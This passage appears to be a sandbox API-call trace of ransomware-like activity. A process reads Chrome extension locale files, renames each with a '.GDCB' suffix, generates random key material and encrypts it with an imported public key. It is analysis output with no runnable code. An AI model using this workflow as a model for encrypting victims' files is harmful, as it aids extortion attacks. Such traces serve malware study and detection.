Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.300] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.303] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.306] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x104, lpOverlapped=0x0) returned 1 [0255.316] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.371] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\messages.json.gdcb")) returned 1 [0255.378] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0255.381] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.383] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.383] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.383] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0255.386] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.388] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.388] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0255.388] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.390] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67835c8) returned 1 [0255.390] CryptGetKeyParam (in: hKey=0x67835c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.390] CryptEncrypt (in: hKey=0x67835c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.391] GetLastError () returned 0x0 [0255.391] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.391] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.393] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783708) returned 1 [0255.393] CryptGetKeyParam (in: hKey=0x6783708, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.393] CryptEncrypt (in: hKey=0x6783708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.393] GetLastError () returned 0x0 [0255.393] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.393] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.394] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.397] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.399] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe2, lpOverlapped=0x0) returned 1 [0255.408] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.416] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\messages.json.gdcb")) returned 1 [0255.422] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.425] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.427] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.427] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.427] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.428] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.430] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.432] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.432] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.432] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.432] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.434] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783208) returned 1 [0255.434] CryptGetKeyParam (in: hKey=0x6783208, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.434] CryptEncrypt (in: hKey=0x6783208, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.435] GetLastError () returned 0x0 [0255.435] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.435] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.436] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783348) returned 1 [0255.436] CryptGetKeyParam (in: hKey=0x6783348, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.436] CryptEncrypt (in: hKey=0x6783348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.437] GetLastError () returned 0x0 [0255.437] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.437] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.438] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.441] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.443] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x104, lpOverlapped=0x0) returned 1 [0255.452] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.461] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json.gdcb")) returned 1 [0255.466] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.522] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.522] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.522] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.523] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.525] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.527] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.527] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.527] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.528] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.530] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783548) returned 1 [0255.530] CryptGetKeyParam (in: hKey=0x6783548, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.530] CryptEncrypt (in: hKey=0x6783548, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.530] GetLastError () returned 0x0 [0255.530] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.530] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.532] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67832c8) returned 1 [0255.532] CryptGetKeyParam (in: hKey=0x67832c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.532] CryptEncrypt (in: hKey=0x67832c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.532] GetLastError () returned 0x0 [0255.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.532] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.534] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.536] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.539] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0255.549] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.557] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.gdcb")) returned 1 [0255.563] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.567] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.569] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.569] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.569] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.569] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.571] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.573] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.573] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.573] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.574] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.576] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783788) returned 1 [0255.576] CryptGetKeyParam (in: hKey=0x6783788, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.576] CryptEncrypt (in: hKey=0x6783788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.576] GetLastError () returned 0x0 [0255.576] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.576] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.578] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783588) returned 1 [0255.578] CryptGetKeyParam (in: hKey=0x6783588, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.578] CryptEncrypt (in: hKey=0x6783588, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.579] GetLastError () returned 0x0 [0255.579] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.579] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0255.580] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0255.583] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0255.585] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x10e, lpOverlapped=0x0) returned 1 [0255.594] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0255.600] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json.gdcb")) returned 1 [0255.606] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0255.609] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.611] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.611] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0255.611] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.611] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0255.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0255.616] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0255.616] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0255.616] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.617] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0255.619] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783688) returned 1 [0255.619] CryptGetKeyParam (in: hKey=0x6783688, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.619] CryptEncrypt (in: hKey=0x6783688, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0255.619] GetLastError () returned 0x0 [0255.619] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0255.619] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0255.621] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67836c8) returned 1 [0255.621] CryptGetKeyParam (in: hKey=0x67836c8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0255.621] CryptEncrypt (in: hKey=0x67836c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0255.621] GetLastError () returned 0x0 [0255.621] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0255.621] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" 